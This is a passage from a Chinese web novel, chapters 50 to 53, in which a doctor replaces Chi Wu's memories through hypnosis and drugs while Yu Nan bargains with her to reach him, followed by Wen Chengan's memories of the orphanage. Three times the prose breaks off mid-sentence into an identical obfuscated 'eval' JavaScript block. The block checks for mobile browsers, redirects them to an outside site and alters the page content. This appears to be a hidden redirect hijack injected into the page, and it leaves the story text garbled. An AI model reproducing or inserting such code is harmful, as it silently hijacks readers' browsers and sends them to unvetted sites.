简凌摘下眼镜,捏了下酸痛的太阳穴,低着声音说:“这俩人接触了有一段时间,而且还查到于南在出狱后就找人试图查迟雾的行踪,但还没开始查,迟雾就自己送上了门,你确定他的记忆没问题吗?” 李医生放下照片,笑了下,颇为体贴地给简凌递上了杯热茶,说:“安神的。” 简凌盯着那盏徐徐冒着热气的茶两秒,到底还是接过喝了一口。确实,喝下去之后感觉好受不少。 李医生这才慢悠悠道:“记忆应当是没问题的,毕竟他还在做‘噩梦’,如果记忆恢复,就不会有噩梦这一说了,不过服药太久,到底还是损伤了神经,看见熟悉的脸,有些记忆就开始往外冒。” 简凌淡声说:“这不是迟总想看见的。” 李医生平静地说:“在处理了。” 她拿起办公桌上的黑色小遥控器,摁下个按钮,对面那面白墙就开始从中分割出个方框,方框中央是透明的玻璃。玻璃那端,就是坐在空房间里昏过去的迟雾。 他靠着座椅,紧皱着眉头,像是陷入梦魇之中,久久不能挣脱。 简凌和李医生接触过不少次,但也是第一次看见她对迟雾进行“治疗”的过程。 看起来和催眠差不多。 李医生像是看出她心中所想般,适时开口道:“就是催眠,等他在梦里重新捡起全部的记忆,就能把一切彻底锁在梦里了。” 简凌笑了笑,放下将掌心熏的温热的茶盏,重新戴上眼镜,推了下镜框,才进入正题道:“迟总希望这次多一个步骤。” “什么?”李医生问。 简凌伸手指了指照片上于南的脸,说:“他。” 李医生毫不费力就找到了于南。 一是有实时汇报的行踪做辅佐,二则是于南就在她工作室外的面店里坐着。 她找到他时,他正坐在角落里吃面,很清淡的面,看起来没什么油水,只有零星葱花在汤面浮着,像被人斩断根再切碎的水草。 李医生径直走向他,拉开对面的凳子坐下。 于南听见声响也没抬头,吃完了最后一口面后从桌侧抽出两张纸擦了擦嘴。 李医生身上还穿着白大褂,很突兀的打扮,老板站在橱窗后朝她望了望,实相得没开口询问这位顾客要吃什么面,只是捏着电话,时刻准备着,怕是什么医生将精神病捉拿归案的剧情。 于南终于看了她一眼,然后伸出手捏起来自己胸前一粒微小的定位器,捏碎扔到了腿侧垃圾桶里。 李医生倏地笑了一声。 谁跟踪谁,谁想捉谁,还真不一定。 于南说:“我要迟雾。” 李医生似笑非笑地看着他,问:“然后呢。” “然后?”于南平静地看着她,问:“你想要什么。” 李医生手里有关于于南的详细资料,她通过白纸黑字了解过这人无数次,但资料到底是不附加任何情绪的冷冰冰的字句罢了,真正坐在这人面前,李医生发觉,资料上写的还是少了。 因为于南从口袋里掏出张照片,放到桌子上。 李医生嘴角的笑也在她看清照片的那刻骤然降下。 于南将她的反应尽收眼底,三秒后,他将照片收回,重新放进口袋里,他平静说:“看来你想要这个。” 李医生的身体紧绷一瞬,她的表情也在肉眼可见地淡下,像是卸除了张时刻覆在脸上的假面,稍微露出几分面具下的皮肉。 她说:“我就知道我没找错人。” 于南不予置评,只是在桌上留下了张五十元,而后站起身,朝外走去。 李医生盯着那五十元两秒,听着身后的脚步声渐远,她才缓慢地站起身,只不过面上又覆盖上了假面。 站在橱窗内的老板看着两人走远,才松了口气。 看来不是什么精神病和医生,还以为又要闹一场了呢。 李医生跟着于南走出一段距离,却发现这人只是在漫无目的地兜着圈子,根本没有明确的目的地,她的耐心即将告罄,白大褂的长衣摆也被风卷得有些褶皱凌乱。 于南就在这时停下脚步,转过身看向她。 他站在路边,稍微靠着墙,衣兜里露出的照片边角时隐时现地吊人胃口。 于南说:“现在可以了吗?” 李医生顿时反应过来他绕这一圈到底是为什么。 就是为了看她有多想要那张照片的信息,看她对此的耐心究竟能撑着让她做多少没意义的事。 她看了眼手表。 半小时,从踏出面食店开始计时,不多不少。 李医生开门见山:“那张照片,你从哪来的。” 于南说:“监狱里。” 李医生闭了闭眼,像是在衡量这句话的真实性,半晌,她再睁开眼,说:“走吧” 之后。 她转身就走,也不管于南跟上来没有。 而在她转身那瞬,于南绷直的身体稍微松了松,他知道他赌对了。 迟雾果然在这儿。 李医生将于南带回了工作室。 但她没直接带他去见迟雾,而是带去了自己的办公室。 桌上简凌放下的茶已经冷了。 李医生将茶杯一同扔进垃圾桶里,又重新拿出套茶具,看样子是准备泡茶。此刻她倒是不慌不忙的,完全不见对那张照片的关切,隐隐将节奏又掌握到了自己的手里。 但于南完全不按她的剧本走,而是将办公室打量了遍,声音不高不低地说:“在监狱里,那个老头跟我说,他这辈子做过最后悔的事,就是撒过一个弥天大谎。” 李医生泡茶的动作一顿,她抬起眼皮,漆黑的眼睛笔直地看向于南。 她的办公室极具个人风格,和治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235634|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疗病人的房间一样,刻意设计得宽阔空旷,只要有外人踏进来,一瞬间就会被空荡荡的环境催生更剧烈的陌生紧张感,站在办公室里也会下意识地将自己代入弱势者的身份中。 但于南站在那儿,完全的平静,他叙事的语调甚至是慢慢往下落,而后忽然转折出来条起伏的。 他在和她进行心理博弈。 也是在无声地告诉她—— 他要见迟雾,见不到的话,他就会接着这么跟她耗,接着故弄玄虚。 李医生放下茶壶,顺势说:“然后呢,什么谎?” 她好像真打算这么跟他耗下去。 但于南却停了话头,转而问:“迟雾吃的药,是什么药?” 就像是用一个答案来换一个答案的游戏。 很公平。 李医生快速地回:“一些安神镇定的药。” 于南盯她两秒,不知信没信。 李医生又问:“那我的答案呢?” 于南像是不懂般疑惑地问:“什么答案?” 李医生发现,这人实在是很会吊人胃口,还很会下一些让人不自觉往下踩的小陷阱,偏偏等她察觉到的时候已经晚了。 李医生觉得节奏乱了,她微笑了下,调节了下呼吸,重新拿起茶具,开始慢条斯理地泡茶,打算就这么晾着于南。 但于南却不紧不慢地给自己找了把椅子来坐,而后就那么看着她行云流水的动作,像是欣赏什么好把戏一样,也不催促。 这种感觉很糟糕。 棋逢对手的感觉。 李医生喝了口茶,刚准备开口,就听于南说:“你妹妹的成绩不错,可惜身体不太好,很费钱吧。” “……..” 室内安静的只有钟表嘀嗒的声响压迫着。 于南就那么稍微侧着头,盯着钟表的指针,接着说:“你需要钱,我也需要,我们合作吧。” “你也需要钱?”李医生看着他的侧脸,说:“贪心不足蛇吞象,进监狱前,你应该拿到了很多钱才对。” 于南转头看向她。 李医生终于拿回对节奏的把控,她轻笑了声,说:“看来你没拿到,迟总还真是奸诈阴险。” 她不待于南追问,便果断开口道:“你不来找我,我也会去找你,诚如你所言,我缺钱,我需要照顾妹妹,所以主动向迟家投诚,接下了这单长久生意,你应该也能猜到,迟雾被替换了记忆也是我的手笔,但长久的生意就需要长久的货物,迟雾时不时重返的旧记忆就是货物,他的记忆出现错差,开始偶尔想起以前的零星片段,就是因为我的药,因为最近我缺钱缺的有些严重。” “至于找你,是因为我想到了更快来钱的方法。” “但现在我发现,你被拎上棋桌真是他们最错误的决定,哪有棋手被迫成为棋子的呢,你真的很聪明,弥天大谎啊,到底是个什么样的谎言能被称为弥天大谎呢?” 李医生的视线穿过窗户,落到对面楼顶将飞的鸟雀身上。 她在这儿看着无数只鸟飞走又飞回来。 只为了让她的鸟重新飞起来。 李医生说:“迟雾在隔壁,照片给我。” 51.第 51 章 于南打开那扇门,就看见了房间正中央的迟雾。 迟雾就像是艺术家失意时创的雕塑,他睡在那儿,周身拢着的是无形的屏障,不允许任何人靠近,被迫和这个世界分割到两端。 于南关上门,走到他面前。 这间房间很安静,钟表被刻意调停,连时间走动的声音都没留下,彻底定格在这儿。 迟雾的手紧抓着椅子扶手。 梦里或许是不大美好的,他整个人都呈现着一种抗拒的姿态。 于南蹲到他腿边,伸出手,一点一点地将他的手掌给抓住,抓在自己掌心,用力地攥紧,才觉得踏实了些。 他放在迟雾身上的窃听器在迟雾摔到地上的时候就被砸坏了,之后就是不停的滋滋的电流声,他坐在客厅等了一天,九月三蹲在脚边陪着,却只等来了家门口频繁经过的车辆,以及出门查看时那个和他擦肩而过的男人。 男人在他身上留下了定位器,他瞬间就明白了。 东窗事发。 就像三年前一样。 一切都如同剧本上写好的既定剧情般,他被引导着发现了张民杨闯进他租的房子里留下的痕迹,张民杨卷走了所有钱,还毁坏了他留存的一切有关迟雾的照片,他找上门后,张民杨更是一再激怒他,自从他拿着刀站在张民杨床边后,这还是第一次,张民杨这么不怕死地展现愚钝刻薄的一面。 张民杨就像是一步下好的棋,只为了给他安上个锒铛入狱的合理罪名。 于南用大拇指摸了摸迟雾手背上泛青的痕迹。 很凉,他的手还在抖。 记忆被替换后,再次拿回记忆是痛苦的。 他正在疼痛。 所以于南才没直接坦明一切。 他希望慢慢来。 但总有人要催促着他们往前跑。 于南抬头看着迟雾苍白的嘴唇,视线如同个踉跄拖行的鸟,跌跌撞撞地落到迟雾身上,他低声叫了下:“迟雾。” 但没得到任何反应。 梦是张巨网,迟雾逃脱不出,任由外界的人如何叫他唤他,他都那样沉睡着。 于南看了下他额头上的伤。 血已经止住了,只不过绷带缠了几圈在脑袋上,看起来还是有些吓人。 尤其是配着他那毫无血色的脸,呼吸平稳却微弱,好似一睡就这样不再醒来。 于南咬破了自己一根手指。 血瞬间从伤口里涌出,覆盖着指纹,成了一片红。 于南将多余的血珠蹭掉,只留指腹一点尚未干涸的红,凑到迟雾的唇边,将手指摁到他的下唇。 一压。 血从皮下被压迫出来。 然后手指缓慢地滑蹭。 血被蹭到迟雾的嘴唇上,像是精心涂好的口红,让他看起来没那么憔悴,好似他只是劳累后歇这么一会儿,很快就会醒了。 于南就那么看了他好一会儿,才退出房间。 李医生正坐在靠椅上,看着手里的那张旧照片。 照片没什么特别的,但边缘有些泛黄打卷,应该有些年头了,而照片里,则是在雪地里的两个小女孩。 稍小些的女孩坐在破旧的轮椅上,对着镜头淡淡地笑着,她头发很长,发尾搭在轮椅的扶手上,像长出花盆的鸢尾花,花瓣悄悄地靠近着另一个女孩的手掌。 那个女孩面上带着个凌厉的黑框眼镜,分明被框住了视野却不显得呆板,反倒有种别样的美丽,她一手扶着轮椅扶手,一手摸着那个女孩的耳朵,像是在替她挡风,避免冻着耳朵。 两个女生对着镜头笑,仿佛多年前的风雪不想如今那么冷峻,只是光洒在身上的时候有些凉。 李医生的视线落在照片上的时候像被卷进了瘫软的泥潭里,一寸寸地往下陷,不复她面对旁人时的游刃有余,只剩恍惚一片。 她用手碰了碰照片里坐轮椅的女孩的脸。 听见拉门声。 她没什么反应,兀自抚摸着照片。 于南已经见到迟雾,就没了和她接着故弄玄虚的必要,开门见山道:“我想知道,我入狱这三年,迟雾的身体情况。” 他已经想好交换的条件,“我也会告诉你监狱里那个老头的情况。” 李医生却摆摆手,说:“不用了,你就告诉我他还活着没有。” 于南说:“在我出狱的时候他还活着。” 李医生放下照片,看了眼于南,辨别出他并非在说谎,便点了下头,说:“知道了。” 好似她根本不在乎那个老头。 李医生缓了口气,一手颇有节奏地敲击着桌面,而后轻声娓娓道来:“三年来迟雾的情况一直不错,当然,是在我看来的不错,他的记忆没出现过任何差池,而我的心理检查也逐渐降低频率,但据我所知,他的身体状况应该是有些问题的。” “身体状况?”于南重复道。 “是的。”李医生敲击出来的节拍加重了些,也无形之中更急促,施加了些让人躲避不开的压迫感,“他的身体像是被埋下了颗定时炸弹,这颗炸弹的倒计时时快时慢,快时,他的身体就极易感到疲惫,甚至有些失力,偶尔也会有关节痛、胃痛的征兆;慢时,他看起来一切如常。” “这颗炸弹,可以看作是他身体里的一部分细胞。” 于南看着她,问:“实施治疗了吗。” 李医生点了点头,“实施了,但具体进度不得而知,毕竟迟家不止我一个医生,我主要还是负责迟雾的心理情况。” 说完,话就停在这儿。 她微笑着觑着于南,等待着他抛出下一个交换法则。 在于南见了迟雾后,她彻底成为了掌控节奏的那一方。因为她想得到的只是照片,而于南想得到的要更多、更过分。 于南问:“能解开迟雾身上的催眠吗。” “好处呢。”李医生说。 于南视线笔直地盯着她,像是要透过那双黑眸直接看透她的内心一般,但李医生的掩饰很好,她坦坦荡荡地坐在那儿,反倒把所有的小尾巴都藏了起来。 她主动泄露弱点,但那是她主动交托出来的,没资格成为把柄。而且于南未必有比迟延宁更多的钱来撬开她的嘴,真正驱使她。 于南说:“那个谎言,你不想知道是什么吗。” 李医生弯了弯眼睛,如实道:“想知道。” 停顿一秒,她话锋一转道:“但是,其实不知道也没什么关系,他在监狱里待了那么多年,这个谎言也藏了那么多年,就这么藏一辈子,当它从来都不存在就好了。” 于南说:“可是他本来应该死掉,却逃之夭夭,躲在了监狱里,要不是我拿来这张照片,你还不知道他还活着吧?” 于南没什么本事,他唯一能做的,就是和那些别人不屑一顾的老鼠打交道。 他在被张民杨领养回去后,找了两份兼职工作,轮流着来,把时间挤满,但这种方式赚来的钱实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235635|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太慢太慢,他甚至不知道这样下去,他是不是这一辈子都要守在这座城市的角落里,看着迟雾从他的世界头也不回地走远。 而且这样,他接触迟雾的机会实在有限。 曾经近在咫尺的人彻底飞远,于南绝对不是一个随随便便就松开手的人。哪怕那只鸟抛弃了他,他也要抓住那双翅膀。 所以他重新回到了曾经拼命想逃出去的生活。 在混乱里求生。 他也是在那时候认识的那个能替他查迟雾消息的人。 那人很厉害,靠着这门本事赚了不少钱。 于南也是从他手里资料知道了李医生这个人。 知道了迟雾再见他时满脸冷漠的原因。 好巧不巧。 那人认识李医生。 从他口中。 于南知道李医生也是从乱巷子里爬出来的。只不过她是带着她妹妹一起逃出去的,不是一个人。 而监狱里那个老头,就是李医生的爹。 只能说这世界就是个被圈住的笼子,哪怕上头的人想方设法用手段来惩罚他们这些被贴上罪名的犯人,也只想的起来把他们一同塞进笼子里。 但笼子太过狭窄,犯人注定要碰面。 老头神智不清,大多数时候都胡言乱语。 于南很少注意这个人。 他在监狱里独来独往,几乎不怎么说话,沉默之下只有神智的空白,唯一能填满脑袋的就是迟雾两个字,还有入狱前见迟雾最后一面时他的冷漠决绝。 哪怕知道他的记忆被替换,于南还是忍不住一遍遍卡带式地将那画面在脑袋里回放。 于是。 出去放风时。 于南基本都是靠在一旁看着天空发呆。 而那个老头则躲在角落里胡言乱语。 直到机缘巧合下。 于南看见了老头时常拿着的一张照片。 监狱里不允许犯人私自携带物品,但偏偏老头手里就有。 那时候于南察觉到什么,感觉他的身份可能不一般,或许是条能铺出去的路,便蓄谋接近。 但看见照片内容时。 于南恍然大悟。 他的身份很一般。 但他入狱原因或许不一般。 之后于南频繁与他接触。 但神智不清的人能说出什么来呢,只有单音节的往复循环,还有根本拼凑不起来的无逻辑的话语。 至于所谓弥天大谎。 当然只是于南的谎话。 如果他真知道什么弥天大谎。 他就不会像现在一样一步步试探,而应当是直踹开城门,带走迟雾。 出狱后他做的第一件事就是找那人查迟雾的近况和位置,以及李医生她爹的情况。 出乎意料。 那老头在资料里显示几年前就死了。 于南笑了下,看着李医生,说:“你想让他真的死掉吧?” 李医生没吭声,手下敲击的声响慢了下来。 于南说:“如果迟雾能好好的活,我就帮你,让他的死成为事实。” 李医生不置可否道:“你打算怎么做?你不是说他在监狱里吗,你打算再进去一次?” 于南没答,只说:“交易,做不做。” 李医生不免失笑,但笑过后,她干脆利落地吐出一字。 “做。” 交易定下,至于遵不遵守,各凭本事。 52.第 52 章 “迟雾什么时候能醒过来?” 李医生看了眼立在房间一角的小漏斗,估摸了下时间,“可能还要两天。” “醒来之后他的记忆就都回来了?”于南问。 李医生点点头,说:“大概率是这样的。” “大概率?”于南重复道。 李医生“嗯”了一声,说:“不排除他对过去的记忆有排斥,而导致潜意识里否决过去的记忆,这可能导致记忆残缺,甚至记忆混乱。” 李医生从手旁拿起两个木块,将一蓝一绿的木块放在桌面上。她先指着蓝色的木块说:“这就是他曾经的记忆。”又指着绿色的木块说:“这是我给他灌输进去的记忆。” 她先在蓝色的木块上抠动一个机关,导致木块从中凹陷下去,“他可能保持曾经的记忆,但有部分缺陷。”又抠动绿的木块上的机关,使木块凸起一部分,而后抬手将两个木块严丝合缝的镶嵌到一起,“也有可能同时拥有两段记忆,但——” 李医生把两块木块稍微分离出条罅隙。 “这其中可能出现记忆空白区,让他分不清两段记忆究竟是怎么衔接到一块的,他会出现意识混乱的情况,甚至变傻。” 于南的情绪一丝丝下沉。 李医生笑了下,将木块彻底推翻,“当然,这只是小概率事件。” “小概率不是不可能发生不是吗。” 于南想要的是十全十美,是迟雾毫无差池。 李医生只简单说:“放心。” 她窥探着于南流露出的那一点焦躁,饶有兴趣得像在欣赏一出好戏,完全没有再过多言语来抚平他的焦虑的意思。 生活如此平庸无趣,好似凡事都没了盼头,她开始亲自挖掘这点儿恶俗趣味。 于南忍耐不住,站起身。 他在窗前来回踱步,时间如此漫长。 李医生终于大发慈悲地指了条明路,“走廊尽头有休息室,你可以先去歇歇。” 但于南完全没有听取意见的打算,他转身往门外走,李医生以为他又要去找迟雾,便提醒道:“你总待在他身边也没什么用,他感受不到你,也听不到你,你就是一团乱涌的空气,不如省省力气。” 顿了顿。李医生又好心地说:“迟家在打你主意,不过他们需要找个合理的理由来解决你,毕竟早些年坏事做多了,也怕鬼敲门,所以轻易不会出手,但你还是小心些。” 于南却头也不回地开门出去了。 但在监控里。 李医生看着于南直接下了楼梯,像是准备离开工作室,并未去找迟雾。 病房内。 温程安已经醒了。 他被包扎成了绷带人,全身上下都是紧绷的,轻易不能动弹。 而病房内除了他,就再没旁人。 温程安下了床,他慢吞吞地伸手开了床,冷风进笼的一瞬,冰冷的温度将他吞噬,也让他身上的痛意被麻痹了些,总算没那么难捱。 几年不见。 迟雾发起疯来更不知轻重了。 真该让以前安丁园里那些流鼻涕的小孩儿来看看,到底什么样的迟雾才能被称为怪物。 温程安稍微挪动着身子,弯着背往窗台上靠了靠,冷风正吹着脊背,不过几瞬就吹得他身体不自觉地发着抖。 他感觉身体已经被完全冻麻了,就跳到床边,从枕头下面翻出小手机。他颤着手在屏幕上点了几下。 在他入院这段时间,一条消息都没有。 没人关心,没人询问。 温程安把手机锁屏,又跳回窗边靠着。 冷风飕飕。 他贪婪地吸了口冷空气。 今天的温度和迟雾离开安丁园那天一样。 他到现在都记得那天。 迟家的人找到孤儿院。 双眼泛红的贵妇和院长并肩站立。 他逗弄着唯一活着的小土,听见了他们的话。 那位贵妇就是迟雾现在的母亲。 迟夫人。 她要带走迟雾。 温程安站得离她们很远。 但还是清楚地听见一句。 “我没后悔,可是我已经没了小雾,我现在要带走另一个小雾有错吗。” 温程安脑袋不笨,安丁园里只有一个“雾”。 一瞬间就想到迟雾。 他不理解她们的话,只知道迟雾要被领养走了。 温程安到现在也不知道当时自己是什么想法,他只知道他有点儿兴奋,因为迟雾要走了,于南就会被迫只和他做朋友了。但他又有点难言的不情愿,因为迟雾是第一个给他打下“烙印”的朋友。 虽然是很疼的一道疤。 迟雾知道自己要被领养的时候是什么表情来着? 哦,很冷漠的表情。 像他不是话题中心的“迟雾”一样。 当时的迟雾正坐在安丁园门口的小秋千上,等于南。 于南放学比他们晚。 但温程安知道,哪是放学晚。 是于南要出去赚钱。 至于怎么赚的,他不知道。 他只知道于南隔三差五就会拿着把钱给迟雾买书。 迟雾床头摞着的书越来越高。 迟雾也越来越依赖于南。 他们之间的关系好像不容第三个人插进去。 温程安就是那个强硬地插进去的小木棍。 他像只会抄作业的小孩儿,也想给迟雾买点儿什么来加深感情,但他没钱,要说有,就是他进安丁园前从家里拿走的金刻护身符。但那个他不敢拿去换钱,因为他只有那个了。 他真怕把那个也卖了之后就真成了什么都没有的破小孩儿。 他尝试问于南是怎么来的钱。 于南不说,他就自己琢磨。 但哪都不要童工,尤其是他这种豆丁大的童工。 他只能眼睁睁看着迟雾和于南中间那条线越系越紧,甚至隐隐要成了个再也解不开的死结。 温程安也坐上小秋千,挨着迟雾。 当时的迟夫人和院长就站在不远处,像是隔着道透明的玻璃在看已经相中的商品一样,用一种像巨口一样贪婪的眼神看着迟雾。 不过迟夫人的眼神没有买卖商品时那样游刃有余的打量和冷静,反倒隐隐像濒临崩溃的边缘,恍若随时会拿起锤子砸烂商店里一切阻拦她的玻璃,掠夺走她心仪的商品。 那时候的温程安意识到。 迟雾是个有价值的“商品”。 他的价值,或许还要远超于南那个靠自己来一点点镀金赋值的好孩子。 秋千被风吹得开始缓慢摇晃。 视野也由低至高地寸寸上升。 在温程安看来,一个商品最好的归路,永远不是孤独地待在冷冰冰的展柜里被成千上万的人用视线纠缠,并且用粗略地语言来对其估价,判断其到底是否值当,而是被一个会爱护它、珍藏它的买家带回家。 他无法判断一个合格的买家究竟是于南这样会日日为它拭去灰尘的人,还是一个用闪亮聚光灯将它供养在肃穆高台上的人。 但温程安知道,如果迟雾走了。 迟雾不愁吃穿,不会被人再骂怪物,而是被金钱堆砌着抚养;至于于南,也会飞鸟归笼,做些好孩子该做的,而不是用那双手瑟缩着去赚钱。 温程安问迟雾打算走吗。 迟雾说不走。 他的视线像早就抛出去的矛,始终定点在看不见尽头的远方,等待着一个随时会出现的聚焦点。 天气很冷,迟雾的鼻子冻得红红的,手也缩在衣袖里,可他还是在外面等,因为他知道如果于南回来看见他在外面冻着会心疼。 他那点儿聪明劲儿都用来讨人怜了。 温程安也陪着他等。 温程安也跟他一起望着远方。 但远方分明什么都没有,除了雾茫茫的天,就是荒凉的地。 温程安说冷。 迟雾让他回屋里去。 温程安扭头看着迟雾的侧脸。 他尝试看出迟雾身上有什么“高等商品”的特性,但好像也什么都没有。 但迟雾看他没动,就从口袋里拿出副手套递给他。 那是迟雾给于南准备的。 等他回来就给他套上。 现在给怕冷的温程安了。 那天于南回来的很晚。 因为下了初雪,路面结冰,交通堵塞,公车迟迟不通。 温程安明显感觉到随着等待时间的拉长,迟雾身上的焦躁不安也越来越重,是寒意都压不住的。 那时候温程安发现,可能,迟雾知道于南不是放学晚。他只是信着于南的每一句话,包括那句拙劣的谎言。只要是于南亲口说出来的。 如果说他俩之间的绳子打着结,那么结扣之间肯定还覆盖着张薄薄的纸,只要那张纸碎了,绳子就彻底成了死扣,但那张纸就像是从迟雾心里头抽出来的,他小心翼翼地垫在上面,怕太过肆无忌惮后,随着绳子系紧,绳面也会被磨损。 所以有些话,他还是不敢说、不敢问。 温程安问迟雾,我俩是朋友吧。 迟雾被冻得已经说不出来话,他只是扭头,用那种藏着不安的眼神看着温程安。 温程安好像知道迟雾为什么是更值钱的商品了,因为他亲自将自己搁置在没人能注意的角落,也导致一旦有被其他物品上的聚光灯闪花眼的人躲到角落处休憩时,就会注意到他,然后抱着打发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253287|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间的心情,细慢地观察他。 之后,看着看着,就挪不开眼了。 因为他确实很好。 好孩子,好迟雾。 温程安看了眼远处的迟夫人。 从小家庭条件不错,他爸很少回家,有时一个月才见一面,但每次都给他妈带些礼物,有时是价格昂贵的名牌包包,但那些他妈都放在柜子里落了灰,有时则是些哄人开心的小玩意,从远方出差带回来的纪念品,他的平安符也是他爸出差后拿回来的,这种时候他妈总是很开心。 那位迟夫人拎着的包,就是件名牌,温程安认得那上面的标,算是耳濡目染来的本领吗?他甚至光看迟夫人那一身就能想象到迟雾以后的生活有多幸福。 温程安说,你要是和她走了,你会很幸福。 迟雾不为所动。 他已经觉得幸福。 温程安又陪他等了会儿。 路灯被雪遮住,光亮都模糊了。 温程安又说,还会有很多钱的。 顿了顿,他又补充了句。 “如果于南的灵魂能卖个好价钱,那么那个人能买无数个于南。” “可是只有一个于南。”迟雾说。 温程安想说,可是只有一个,现在的你也买不起。 但想想,他又没说出口。 因为就算他再笨也知道,这话有点儿伤人。 但之后的迟雾一直沉默。 温程安觉得,迟雾也不笨,他想得到。 安丁园外的路彻底被白雪覆盖。 路灯也彻底暗了。 于南回来的时候,路被踩出一串脚印。 他身上衣服单薄,被风吹得身体僵着。 当天夜里,于南的身体又开始疼。 他的身子被药侵害严重,冷不丁得挨冻,就成了被厚雪压垮的细枝。 温程安那天没睡。 他能听见走廊里的声响。 应当是迟雾又在给于南揉身上作痛的地方。 他听不清他们之间的话,因为隔着道门。 但他能听见后半夜的启车声。 因为他一直盯着窗外那辆停着的车。 迟雾被迟夫人带走了。 温程安看着他被带上车。 迟雾他说不走,他说只想等于南。 但他等到了,却还是走了。 温程安摸到隔壁房间去,想确认是不是自己看错了。 却发现迟雾的床真的空了。 温程安希望迟雾走,但迟雾真走了,他反倒有些回不过神。 希望和真正发生是两码事。 他怔松地坐在迟雾的床上。 他看见于南侧躺着蜷缩在被子里。 好像睡得很熟,或许身上已经不疼了。 这是个正确的决定吗。 或许是吧,但后来温程安又觉得有点儿孤独。 因为他发现,迟雾走了,他和于南也没成为朋友,而是成了两条缺失连接点的锁链,分别被锁在不同的独木桥上,无人驻足。 后来于南被领养走。 他也被领养走。 还是同一个人,同一个穷人。 他原以为再见到于南能看见他有什么改变。 结果没有。 他只看见了于南房间里偷拍的关于迟雾的照片。 他翻了所有照片。 发现。 迟雾这个更值钱的商品好像确实卖了个好价钱,被更富裕的收藏家买走了。 但只是收藏,没有爱。 不对,有爱。 但爱是对另一个“迟雾”。 而不是那个独一无二的迟雾。 温程安扭头看着窗外。 医院在市中心,从高层俯瞰而下,灯火霓阑,却还是没什么喧嚣热闹的滋味,只觉得过度冷清。 他不信迟雾真忘了于南。 什么心理洗脑、记忆替换。 他都不信。 迟雾肯定在撒谎。 人会忘掉如何走路,但不会忘掉如何呼吸。 要忘,也就只可能忘掉他温程安。 “嗡嗡嗡——” 手机响了。 温程安看了眼。 是于南。 温程安接通电话。 于南说:“下来。” 看吧。 跟踪是无效的,只要于南不想,他怎么都没法跟他说上话。 但只要触及迟雾。 于南就算被埋得再深,也会主动撬开土,然后爆炸。 温程安脸上没什么表情,他听着听筒那头呼啸的风声,又扭头看了眼头顶的监控。 “知道了,你走远点儿,我来找你。” 53.第 53 章 温程安在医院对街的小药房旁找到的于南。 于南站在灯光闪烁的牌匾下抽着烟,七彩的光勾勒出他的侧脸,烟雾被冷风吹刮着送向天边,就像飞远的白鸽,也象征着和平的远走。 温程安知道,他找自己,绝对不可能心平气和地叙说些监狱内三年生活如何,说不准还要用万分冰冷的视线盯着自己,质问自己为什么和迟雾动起了手,哪怕他是被打的哪个。 但他走进那刻,于南只是淡淡地扫了他眼,然后就又看向远方,情绪很少,让温程安一时有些错乱,是猜测被现实否决的茫然。 温程安站到他身旁,没主动开口,也学着他的模样保持沉默。 随着一根烟抽完。 于南伸手挥散身前烟雾,终于开口了。 “迟雾被带去治疗了。” 温程安反应了会儿治疗是什么意思,倏地想起自从他醒来后就没见过迟雾,反倒只有那个叫简凌的女人忙前忙后处理事宜,并且适当对他进行了番慰问,他原本以为是自己拆穿了迟雾的谎言,他不想见自己才躲着。 没想到,是被送去治疗了。 治疗什么? 打人而被定性的暴力倾向?还是那原本就是假的的记忆替换? 温程安思忖两秒,说:“我听见迟雾叫阿母了,他没失忆,从三年前就是骗你的。” “如果失忆了,也不会是在梦里还要叫阿母。” 迟雾很少叫院长“妈妈安”,他自始至终都和安丁园里其他孩子不同,特立独行,也不和院长亲近,甚至保持着使用最公式化的称呼。 但有以前被领养的孩子回安丁园看望院长时,叙旧时曾叫过院长“阿母”。 最初那批在安丁园里的孩子,就是叫院长“阿母”。 那个回来看望院长的孩子,就是迟雾口中的大哥。 大哥还去看了迟雾。 但迟雾自始至终都对他很冷淡。 而大哥却自顾自地回忆起了往昔。 他回安丁园是带着荣耀,据说是找到了个高企的工作,干得不错,恰巧那年的年终奖是公司股份,他拿到了,之后坐拿分红就够他快活一阵,一时满身都写满倨傲的字样。 而往昔都成了他用来装模作样地感慨的谈资。 他说迟雾以前对人很亲,对谁都很亲,那时候还总跟在院长身后叫着阿母,像个小尾巴,在谁屁股后面都能接上。 但之后大了反倒开始故作深沉,阿母变成了院长,哥哥姐姐变成了沉默之余的冷淡。 “阿母”这两个字像是迟雾极远的过去。 人在长大后,记忆被不断冲刷,一切曾留下的记忆都开始变浅变淡,更别提牙牙学语时的记忆,如果他的记忆真的被替换,这部分绝对是最先被剔除的废土。 